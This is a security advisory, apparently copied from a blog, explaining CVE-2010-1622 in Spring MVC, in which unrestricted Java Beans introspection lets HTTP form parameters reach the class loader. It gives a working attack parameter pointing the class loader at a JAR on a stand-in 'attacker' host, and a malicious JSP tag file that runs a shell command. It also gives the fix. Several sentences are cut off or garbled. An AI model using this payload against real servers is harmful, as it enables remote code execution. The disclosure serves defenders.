http://www.exploit-db.com/exploits/13918/
http://blog.o0o.nu/2010/06/cve-2010-1622.html
projects may be affected in similar ways due to incorrect usage of Java Beans API.
Java Beans API
provides 2 methods to obtain bean information of a class:
BeanInfo getBeanInfo(Class beanClass)
BeanInfo getBeanInfo(Class beanClass, Class stopClass)
Calling getBeanInfo() on
a bean(POJO) without supplying a stopClass will
containing properties of theObject.class,
which all Java classes have as their superclass. Example:
public class Person {
private String firstName;
private String lastName;
public String getFirstName();
public void setFirstName(String firstName);
public String getLastName();
public void setLastName(String lastName);
}
...
public static void main(String[] args) throws Exception {
BeanInfo info = Introspector.getBeanInfo(Person.class);
PropertyDescriptor[] properties =
info.getPropertyDescriptors();
for (PropertyDescriptor pd : properties) {
System.out.println("Property: " + pd.getName());
}
}
The output is:
Property: class
Property: firstName
Property: lastName
firstName and lastName are
expected but the class property
which returns Class. If
we callIntrospector.getBeanInfo(Class.class) we'll
get a lot more properties:
Property: annotation
Property: annotations
Property: anonymousClass
Property: array
Property: canonicalName
Property: class
Property: classLoader
Property: classes
Property: componentType
Property: constructors
Property: declaredAnnotations
Property: declaredClasses
Property: declaredConstructors
Property: declaredFields
Property: declaredMethods
Property: declaringClass
Property: enclosingClass
Property: enclosingConstructor
Spring Beans
Spring MVC allows developers to associate an object that represents HTML form input
(form backing object). Whenever user submits a form Spring MVC dynamically pre-populates all the fields of the backing objects based on parameters names. Example:
POST /adduser HTTP/1.0
firstName=Tavis&lastName=Ormandy
will result in Spring (Spring Beans component) enumerating available properties of
the form backing object and setting them if there's a match in a user submitted request. In the request above, if Person is our form's backing object, then the firstName andlastName properties
will be set to the corresponding values. To support more complex classes Spring also supports dot notation, souser.address.street=Disclosure+Str. will
be an equivalent of:
frmObj.getUser().getAddress().setStreet("Disclosure Str.")
The problem is that Spring Beans' CachedIntrospectionResults class
that enumerates properties available to be set from user's form submission uses java.beans.Introspector.getBeanInfo() without
specifying a stop class, which means that 'class'
property and everything after it is available for setting from HTTP requests.
Attack
If an attacker submits HTTP request to a form controller with the following HTTP parameter:
class.classLoader.URLs[0]=jar:http://attacker/spring-exploit.jar!/
she will overwrite 0th element in the array returned by frmObj.getClass().getClassLoader().getURLs() with
her own URL.
Which class loader will it be?
In the case of Apache Tomcat it's org.apache.catalina.loader.WebappClassLoader
What's the deal with [0]?
Spring Framework automatically handles arrays and other collections (List, Map, etc).
It can also automatically convert String to more complex types e.g. tojava.io.File, java.net.URL,
etc.
What's the deal with jar:http://...!/ URL?
Java's URL class automatically handles http:// JAR URLs just like it handles file://
URLs, it retrieves remote JAR transparently to the caller.
Where will the attacker's URL be used?
It turned out that Jasper's TldLocationsCache will
in <%...%>).
In the attack above the attacker supplies a URL of a JAR file that contains modified spring-form.tld file
which will define Spring's custom form tags as being implemented by tag files:
/META-INF/spring-form.tld which
defines form:input and form:formtags:
<tag-file>
<name>input</name>
<path>/META-INF/tags/InputTag.tag</path>
</tag-file>
<tag-file>
<name>form</name>
/META-INF/tags/InputTag.tag:
<%@ tag dynamic-attributes="dynattrs" %>
<%
java.lang.Runtime.getRuntime().exec("mkdir /tmp/PWNED");
%>
When Jasper will be resolving Spring form tag libraries referenced in a JSP file and
will find spring-form.tld in
the attacker supplied JAR then all of the tag files will be retrieved from that JAR file as well. These tag files will be later "called" (compiled and executed) to provide implementation of the custom tags and thus let the attacker execute her code.
It should be noted that, based on my quick inspection of the code, TldLocationsCache gets
URLs from class loader only once upon it's initialization and thus, in order for an attack to work with Tomcat+Spring MVC combination, an attacker has to submit her request to overwrite class loader's URLs before any of the JSP pages have been requested, which
makes this attack a lot harder to carry out.
How to avoid this bug?
Specify the stop class:
BeanInfo info = Introspector.getBeanInfo(Person.class, Object.class)
Parting thoughts
There's got to be more components out there that use class loader's URLs, which will
make the attack easier than the one described above.
There's got to be a way to do something interesting with other 'class'
properties still exposed. Spring's fix for this vulnerability was to blacklist 'classLoader'
property.
security implications.